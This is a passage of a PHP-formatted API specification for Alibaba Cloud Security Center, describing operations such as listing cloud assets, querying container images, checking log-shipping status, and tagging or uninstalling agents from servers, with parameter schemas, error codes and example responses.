=> 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], [ 'name' => 'CloudAssetTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The details of the cloud asset.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The cloud service asset.'."\n", 'type' => 'object', 'properties' => [ 'AssetType' => [ 'description' => 'The type of the cloud asset.'."\n" ."\n" .'You can call the [GetCloudAssetCriteria](~~GetCloudAssetCriteria~~) operation to query the cloud asset type.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '18', ], 'AssetSubType' => [ 'description' => 'The subtype of the cloud asset.'."\n" ."\n" .'You can call the [GetCloudAssetCriteria](~~GetCloudAssetCriteria~~) operation to query the subtype of the cloud asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'Vendor' => [ 'description' => 'The server type. Valid values:'."\n" ."\n" .'* **0**: a cloud asset provided by Alibaba Cloud'."\n" .'* **1**: a cloud asset outside Alibaba Cloud'."\n" .'* **2**: a cloud asset in a data center'."\n" .'* **3**, **4**, **5**, and **7**: a cloud asset provided by a third-party service provider'."\n" .'* **8**: a lightweight cloud asset'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'CloudAssetQueryData', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Query data list based on keywords.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Query content.', 'type' => 'string', 'required' => false, 'example' => '163.8.8.9', ], 'Operator' => [ 'description' => 'Query operator, currently only supports: INCLUDE.', 'type' => 'string', 'required' => false, 'example' => 'INCLUDE', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6BF880', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'TotalCount' => [ 'description' => 'The total number of cloud assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Instances' => [ 'description' => 'The details of the cloud assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the cloud asset.'."\n", 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'The ID of the region to which the cloud asset belongs.'."\n", 'type' => 'string', 'example' => 'cn-hanghzou', ], 'Vendor' => [ 'description' => 'The service provider (SP) of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: a cloud asset provided by Alibaba Cloud'."\n" .'* **1**: a third-party cloud asset'."\n" .'* **2**: a cloud asset in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a lightweight cloud asset'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetType' => [ 'description' => 'The type of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: Elastic Compute Service (ECS)'."\n" .'* **1**: Server Load Balancer (SLB)'."\n" .'* **3**: ApsaraDB RDS'."\n" .'* **4**: ApsaraDB for MongoDB'."\n" .'* **5**: ApsaraDB for Redis'."\n" .'* **6**: Container Registry'."\n" .'* **8**: Container Service for Kubernetes (ACK)'."\n" .'* **9**: Virtual Private Cloud (VPC)'."\n" .'* **11**: ActionTrail'."\n" .'* **12**: Alibaba Cloud CDN'."\n" .'* **13**: Certificate Management Service (formerly SSL Certificates Service)'."\n" .'* **14**: Apsara Devops'."\n" .'* **16**: Anti-DDoS'."\n" .'* **17**: Web Application Firewall (WAF)'."\n" .'* **18**: Object Storage Service (OSS)'."\n" .'* **19**: PolarDB'."\n" .'* **20**: ApsaraDB RDS for PostgreSQL'."\n" .'* **21**: Microservices Engine (MSE)'."\n" .'* **22**: File Storage NAS (NAS)'."\n" .'* **23**: Data Security Center (DSC)'."\n" .'* **24**: Elastic IP Address (EIP)'."\n" .'* **25**: Identity as a Service (IDaaS) Employee Identity and Access Management (EIAM)'."\n" .'* **26**: PolarDB-X'."\n" .'* **27**: Elasticsearch', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetSubType' => [ 'description' => 'The subtype of the cloud service. The subtype of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: ECS'."\n" ."\n" .' * **0**: instance'."\n" .' * **1**: disk (storage)'."\n" .' * **2**: security group'."\n" ."\n" .'* **1**: SLB'."\n" ."\n" .' * **0**: SLB'."\n" .' * **1**: Application Load Balancer (ALB)'."\n" ."\n" .'* **3**: ApsaraDB RDS'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **4**: ApsaraDB for MongoDB'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **5**: ApsaraDB for Redis'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **6**: Container Registry'."\n" ."\n" .' * **1**: Enterprise Edition'."\n" .' * **2**: Personal Edition'."\n" ."\n" .'* **8**: ACK'."\n" ."\n" .' * **0**: cluster'."\n" ."\n" .'* **9**: VPC'."\n" ."\n" .' * **0**: NAT gateway'."\n" .' * **1**: EIP'."\n" .' * **2**: VPN'."\n" .' * **3**: FLOW_LOG'."\n" ."\n" .'* **11**: ActionTrail'."\n" ."\n" .' * **0**: trail'."\n" ."\n" .'* **12**: Alibaba Cloud CDN'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **13**: Certificate Management Service (formerly SSL Certificates Service)'."\n" ."\n" .' * **0**: certificate'."\n" ."\n" .'* **14**: Apsara Devops'."\n" ."\n" .' * **0**: organization'."\n" ."\n" .'* **16**: Anti-DDoS'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **17**: WAF'."\n" ."\n" .' * **0**: domain name'."\n" ."\n" .'* **18**: OSS'."\n" ."\n" .' * **0**: bucket'."\n" ."\n" .'* **19**: PolarDB'."\n" ."\n" .' * **0**: cluster'."\n" ."\n" .'* **20**: ApsaraDB RDS for PostgreSQL'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **21**: MSE'."\n" ."\n" .' * **0**: cluster'."\n" ."\n" .'* **22**: NAS'."\n" ."\n" .' * **0**: file system'."\n" ."\n" .'* **23**: DSC'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **24**: EIP'."\n" ."\n" .' * **0**: Anycast EIP'."\n" ."\n" .'* **25**: IDaaS EIAM'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **26**: PolarDB-X'."\n" ."\n" .' * **0**: instance'."\n" ."\n" .'* **27**: Elasticsearch'."\n" ."\n" .' * **0**: instance'."\n", 'type' => 'string', 'example' => '0', ], 'InstanceId' => [ 'description' => 'The instance ID of the cloud asset.'."\n", 'type' => 'string', 'example' => 'd-uf60vevzkztnflx7cny5', ], 'InstanceName' => [ 'description' => 'The instance name of the cloud asset.'."\n", 'type' => 'string', 'example' => 'yztest-l***', ], 'CreatedTime' => [ 'description' => 'The time when the instance was created.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1607365213000', ], 'InternetIp' => [ 'description' => 'The public IP address of the cloud asset.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'AlarmStatus' => [ 'description' => 'Indicates whether alerts are generated for the cloud asset. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'RiskStatus' => [ 'description' => 'Indicates whether risks are detected on the cloud asset. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'AssetTypeName' => [ 'description' => 'The type name of the cloud asset.'."\n", 'type' => 'string', 'example' => 'ECS', ], 'AssetSubTypeName' => [ 'description' => 'The subtype name of the cloud asset.'."\n", 'type' => 'string', 'example' => 'SECURITY_GROUP', ], 'SecurityInfo' => [ 'description' => 'The security information about the cloud asset.'."\n", 'type' => 'string', 'example' => '{"seriousNum":0,"appNum":0,"baselineMedium":0,"remindNum":0,"imageVulNntf":0,"cveNum":0,"vul":0,"uuid":"yuejia-test","emgNum":0,"weakPWNum":0,"imageMaliciousFileRemind":0,"imageBaselineMedium":0,"laterVulCount":0,"cmsNum":0,"imageMaliciousFileSerious":0,"agentlessMalicious":0,"suspNum":0,"imageBaselineHigh":0,"asapVulCount":0,"imageVulLater":0,"agentlessAll":0,"sysNum":0,"containerLater":0,"containerSuspicious":0,"imageBaselineNum":0,"newSuspicious":0,"nntfVulCount":0,"scaNum":0,"containerNntf":0,"health":0,"trojan":0,"suspicious":0,"imageMaliciousFileSuspicious":0,"containerRemind":0,"baselineLow":0,"imageVulAsap":0,"imageBaselineLow":0,"containerAsap":0,"agentlessBaseline":0,"agentlessVulSca":0,"agentlessVulCve":0,"containerSerious":0,"baselineHigh":0,"account":0,"baselineNum":5}', ], 'Tags' => [ 'description' => 'Tag list.', 'type' => 'array', 'items' => [ 'description' => 'Tag.', 'type' => 'string', 'example' => 'AI', ], ], 'VendorUid' => [ 'description' => 'The account ID of the multi-cloud instance.', 'type' => 'string', 'example' => '123xxx', ], 'VendorUserName' => [ 'description' => 'The user name of the multi-cloud instance.', 'type' => 'string', 'example' => 'testxxx', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AccountIdNotExist', 'errorMessage' => 'AccountId not exist', ], [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BF880\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 2,\\n \\"PageSize\\": 100,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 20\\n },\\n \\"Instances\\": [\\n {\\n \\"RegionId\\": \\"cn-hanghzou\\",\\n \\"Vendor\\": 0,\\n \\"AssetType\\": 0,\\n \\"AssetSubType\\": \\"0\\",\\n \\"InstanceId\\": \\"d-uf60vevzkztnflx7cny5\\",\\n \\"InstanceName\\": \\"yztest-l***\\",\\n \\"CreatedTime\\": 1607365213000,\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"AlarmStatus\\": \\"NO\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"AssetTypeName\\": \\"ECS\\",\\n \\"AssetSubTypeName\\": \\"SECURITY_GROUP\\",\\n \\"SecurityInfo\\": \\"{\\\\\\"seriousNum\\\\\\":0,\\\\\\"appNum\\\\\\":0,\\\\\\"baselineMedium\\\\\\":0,\\\\\\"remindNum\\\\\\":0,\\\\\\"imageVulNntf\\\\\\":0,\\\\\\"cveNum\\\\\\":0,\\\\\\"vul\\\\\\":0,\\\\\\"uuid\\\\\\":\\\\\\"yuejia-test\\\\\\",\\\\\\"emgNum\\\\\\":0,\\\\\\"weakPWNum\\\\\\":0,\\\\\\"imageMaliciousFileRemind\\\\\\":0,\\\\\\"imageBaselineMedium\\\\\\":0,\\\\\\"laterVulCount\\\\\\":0,\\\\\\"cmsNum\\\\\\":0,\\\\\\"imageMaliciousFileSerious\\\\\\":0,\\\\\\"agentlessMalicious\\\\\\":0,\\\\\\"suspNum\\\\\\":0,\\\\\\"imageBaselineHigh\\\\\\":0,\\\\\\"asapVulCount\\\\\\":0,\\\\\\"imageVulLater\\\\\\":0,\\\\\\"agentlessAll\\\\\\":0,\\\\\\"sysNum\\\\\\":0,\\\\\\"containerLater\\\\\\":0,\\\\\\"containerSuspicious\\\\\\":0,\\\\\\"imageBaselineNum\\\\\\":0,\\\\\\"newSuspicious\\\\\\":0,\\\\\\"nntfVulCount\\\\\\":0,\\\\\\"scaNum\\\\\\":0,\\\\\\"containerNntf\\\\\\":0,\\\\\\"health\\\\\\":0,\\\\\\"trojan\\\\\\":0,\\\\\\"suspicious\\\\\\":0,\\\\\\"imageMaliciousFileSuspicious\\\\\\":0,\\\\\\"containerRemind\\\\\\":0,\\\\\\"baselineLow\\\\\\":0,\\\\\\"imageVulAsap\\\\\\":0,\\\\\\"imageBaselineLow\\\\\\":0,\\\\\\"containerAsap\\\\\\":0,\\\\\\"agentlessBaseline\\\\\\":0,\\\\\\"agentlessVulSca\\\\\\":0,\\\\\\"agentlessVulCve\\\\\\":0,\\\\\\"containerSerious\\\\\\":0,\\\\\\"baselineHigh\\\\\\":0,\\\\\\"account\\\\\\":0,\\\\\\"baselineNum\\\\\\":5}\\",\\n \\"Tags\\": [\\n \\"AI\\"\\n ],\\n \\"VendorUid\\": \\"123xxx\\",\\n \\"VendorUserName\\": \\"testxxx\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListCloudAssetInstances', 'translator' => 'machine', ], 'DescribeImageInfoList' => [ 'summary' => 'Queries images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '391abd09184cbd3743d7f5ec125d****,'."\n" .'e6aeb2a5b6004479398b0bcd1160****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BC3B0DAE-CC0E-59E9-9383-6F060F22****', ], 'ImageInfos' => [ 'description' => 'An array that consists of the information about images.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the image.'."\n", 'type' => 'string', 'example' => 'NORMAL', ], 'Endpoints' => [ 'description' => 'The endpoint of Container Registry.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou-x7', ], 'RiskStatus' => [ 'description' => 'Indicates whether the image is at risk. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'YES', ], 'VulStatus' => [ 'description' => 'Indicates whether vulnerabilities are detected on the asset. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'YES', ], 'ImageCreate' => [ 'description' => 'The time when the image was created.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1636962328000', ], 'AlarmStatus' => [ 'description' => 'Indicates whether alerts are generated on the asset. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'YES', ], 'Digest' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => 'a3521b04dfdd1361a24be6263f2983cf12ba910989f4d9f7324da7e1e89f****', ], 'RegistryType' => [ 'description' => 'The type of the registration.'."\n", 'type' => 'string', 'example' => 'harbor', ], 'ImageUpdate' => [ 'description' => 'The time when the image was updated.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1636974116000', ], 'Tag' => [ 'description' => 'The tag that is added to the image.'."\n", 'type' => 'string', 'example' => 'v1', ], 'InstanceId' => [ 'description' => 'The ID of the image instance.'."\n", 'type' => 'string', 'example' => 'i-wz95abw6pa7y79ve****', ], 'RepoType' => [ 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* `PUBLIC`'."\n" .'* `PRIVATE`'."\n", 'type' => 'string', 'example' => 'PUBLIC', ], 'RegionId' => [ 'description' => 'The region ID of the image instance.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => 'ff9ca084-7faa-4ab2-8728-69024755****', ], 'ImageSize' => [ 'description' => 'The size of the image.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '157408623', ], 'RepoId' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'example' => 'crr-5qk9v2rdt0s****', ], 'TagImmutable' => [ 'description' => 'The tag immutability.'."\n", 'type' => 'integer', 'format' => 'int32', 'enumValueTitles' => [ '', '', ], 'example' => '0', ], 'VulCount' => [ 'description' => 'The total number of vulnerabilities in your assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AlarmCount' => [ 'description' => 'The number of alerts that are generated on the current pod, application, namespace, or cluster.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'ImageId' => [ 'description' => 'The ID of the image.'."\n", 'type' => 'string', 'example' => 'bb0175afea16138815a8900adeeb0315d88a83a2376eeffa14db1d693a15****', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'opa-test', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'libssh2', ], 'SourceBizTag' => [ 'title' => '镜像业务用途标签。', 'description' => 'The usage label of the image.', 'type' => 'string', 'example' => 'PAI', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BC3B0DAE-CC0E-59E9-9383-6F060F22****\\",\\n \\"ImageInfos\\": [\\n {\\n \\"Status\\": \\"NORMAL\\",\\n \\"Endpoints\\": \\"cn-hangzhou-x7\\",\\n \\"RiskStatus\\": \\"YES\\",\\n \\"VulStatus\\": \\"YES\\",\\n \\"ImageCreate\\": 1636962328000,\\n \\"AlarmStatus\\": \\"YES\\",\\n \\"Digest\\": \\"a3521b04dfdd1361a24be6263f2983cf12ba910989f4d9f7324da7e1e89f****\\",\\n \\"RegistryType\\": \\"harbor\\",\\n \\"ImageUpdate\\": 1636974116000,\\n \\"Tag\\": \\"v1\\",\\n \\"InstanceId\\": \\"i-wz95abw6pa7y79ve****\\",\\n \\"RepoType\\": \\"PUBLIC\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Uuid\\": \\"ff9ca084-7faa-4ab2-8728-69024755****\\",\\n \\"ImageSize\\": 157408623,\\n \\"RepoId\\": \\"crr-5qk9v2rdt0s****\\",\\n \\"TagImmutable\\": 0,\\n \\"VulCount\\": 1,\\n \\"AlarmCount\\": 10,\\n \\"ImageId\\": \\"bb0175afea16138815a8900adeeb0315d88a83a2376eeffa14db1d693a15****\\",\\n \\"RepoName\\": \\"opa-test\\",\\n \\"RepoNamespace\\": \\"libssh2\\",\\n \\"SourceBizTag\\": \\"PAI\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeImageInfoList', ], 'DescribeLogShipperStatus' => [ 'summary' => 'Queries the status information about the log analysis feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92136', 'abilityTreeNodes' => [ 'FEATUREsasA2G5MU', ], ], 'parameters' => [ [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413****', ], 'LogShipperStatus' => [ 'description' => 'The status information.'."\n", 'type' => 'object', 'properties' => [ 'OpenStatus' => [ 'description' => 'The status of the log analysis feature. Valid values:'."\n" ."\n" .'* **yes**: enabled'."\n" .'* **no**: disabled'."\n", 'type' => 'string', 'example' => 'yes', ], 'SlsServiceStatus' => [ 'description' => 'Indicates whether Log Service is activated. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'example' => 'yes', ], 'AuthStatus' => [ 'description' => 'Indicates whether Security Center is authorized to access Log Service. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'example' => 'yes', ], 'BuyStatus' => [ 'description' => 'Indicates whether the log analysis feature is purchased. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'example' => 'yes', ], 'PostPaidSupportStatus' => [ 'description' => 'Indicates whether the log analysis feature supports the pay-as-you-go billing method. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'example' => 'yes', ], 'PostPaidOpenStatus' => [ 'description' => 'Indicates whether the pay-as-you-go billing method is used. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'no', ], 'SlsProjectStatus' => [ 'description' => 'The status of the dedicated Log Service project. Valid values:'."\n" ."\n" .'* **Normal**: normal'."\n" .'* **Disable**: disabled'."\n", 'type' => 'string', 'enumValueTitles' => [ 'normal' => '', 'training' => '', ], 'example' => 'Normal', ], 'EtlMetaVersion' => [ 'description' => 'The version of the log analysis field. Valid values:'."\n" .'- SAS_V1'."\n" .'- SAS_V2', 'type' => 'string', 'example' => 'SAS_V1', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413****\\",\\n \\"LogShipperStatus\\": {\\n \\"OpenStatus\\": \\"yes\\",\\n \\"SlsServiceStatus\\": \\"yes\\",\\n \\"AuthStatus\\": \\"yes\\",\\n \\"BuyStatus\\": \\"yes\\",\\n \\"PostPaidSupportStatus\\": \\"yes\\",\\n \\"PostPaidOpenStatus\\": \\"no\\",\\n \\"SlsProjectStatus\\": \\"Normal\\",\\n \\"EtlMetaVersion\\": \\"SAS_V1\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeLogShipperStatus', ], 'AddUninstallClientsByUuids' => [ 'summary' => 'Adds servers from which you want to uninstall the Security Center agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91905', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XXX.XXX', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server that you want to unbind. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-183707ae-3bdf-4db0-b771-3e9962bf****,inet-49dceccc-4f01-469b-8411-2416ea12****', ], ], [ 'name' => 'Region', 'in' => 'query', 'schema' => [ 'description' => 'The region in which the server resides.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'CallMethod', 'in' => 'query', 'schema' => [ 'description' => 'The method name. Default value: init.'."\n", 'type' => 'string', 'required' => false, 'example' => 'init', ], ], [ 'name' => 'Feedback', 'in' => 'query', 'schema' => [ 'description' => 'The feedback.'."\n", 'type' => 'string', 'required' => false, 'example' => 'reinstall', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB483977', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB483977\\"\\n}","type":"json"}]', 'title' => 'AddUninstallClientsByUuids', ], 'AddTagWithUuid' => [ 'summary' => 'Adds a tag to assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91904', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'TagName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the tag.'."\n", 'type' => 'string', 'required' => true, 'example' => 'InternetIp', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the servers. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '71f5313e-4355-4c59-86d1-557dda7b****,71f5313e-4355-4c59-86d1-557dda7b****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The object returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\"\\n}","type":"json"}]', 'title' => 'AddTagWithUuid', 'description' => 'Security Center provides asset importance tags and custom tags. You can call the AddTagWithUuid operation to add only a custom tag to assets.'."\n", ], 'GetCloudAssetSummary' => [ 'summary' => '获取云资产概要', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'Vendors', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of cloud vendors to be queried.', 'type' => 'array', 'items' => [ 'description' => 'Server vendor. Values:'."\n" .'- **0**: Alibaba Cloud Asset '."\n" .'- **1**: Non-cloud Asset '."\n" .'- **2**: IDC Asset '."\n" .'- **3**, **4**, **5**, **7**: Other Cloud Assets '."\n" .'- **8**: Lightweight Asset', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'CloudAssetTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of asset type information for cloud assets', 'type' => 'array', 'items' => [ 'description' => 'List of cloud asset types.', 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'Server vendor. Values:'."\n" .'- **0**: Alibaba Cloud Asset '."\n" .'- **1**: Non-cloud Asset '."\n" .'- **2**: IDC Asset '."\n" .'- **3**, **4**, **5**, **7**: Other Cloud Assets '."\n" .'- **8**: Lightweight Asset', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'AssetType' => [ 'description' => 'The type of asset. Values:'."\n" .'- **0**: Elastic Compute Service (ECS) '."\n" .'- **1**: Load Balancer '."\n" .'- **3**: ApsaraDB for RDS '."\n" .'- **4**: ApsaraDB for MongoDB '."\n" .'- **5**: ApsaraDB for Tair (Redis compatible) '."\n" .'- **6**: Container Registry '."\n" .'- **8**: Container Service for Kubernetes '."\n" .'- **9**: Virtual Private Cloud (VPC) '."\n" .'- **11**: ActionTrail '."\n" .'- **12**: Content Delivery Network (CDN) '."\n" .'- **13**: SSL Certificates (now known as 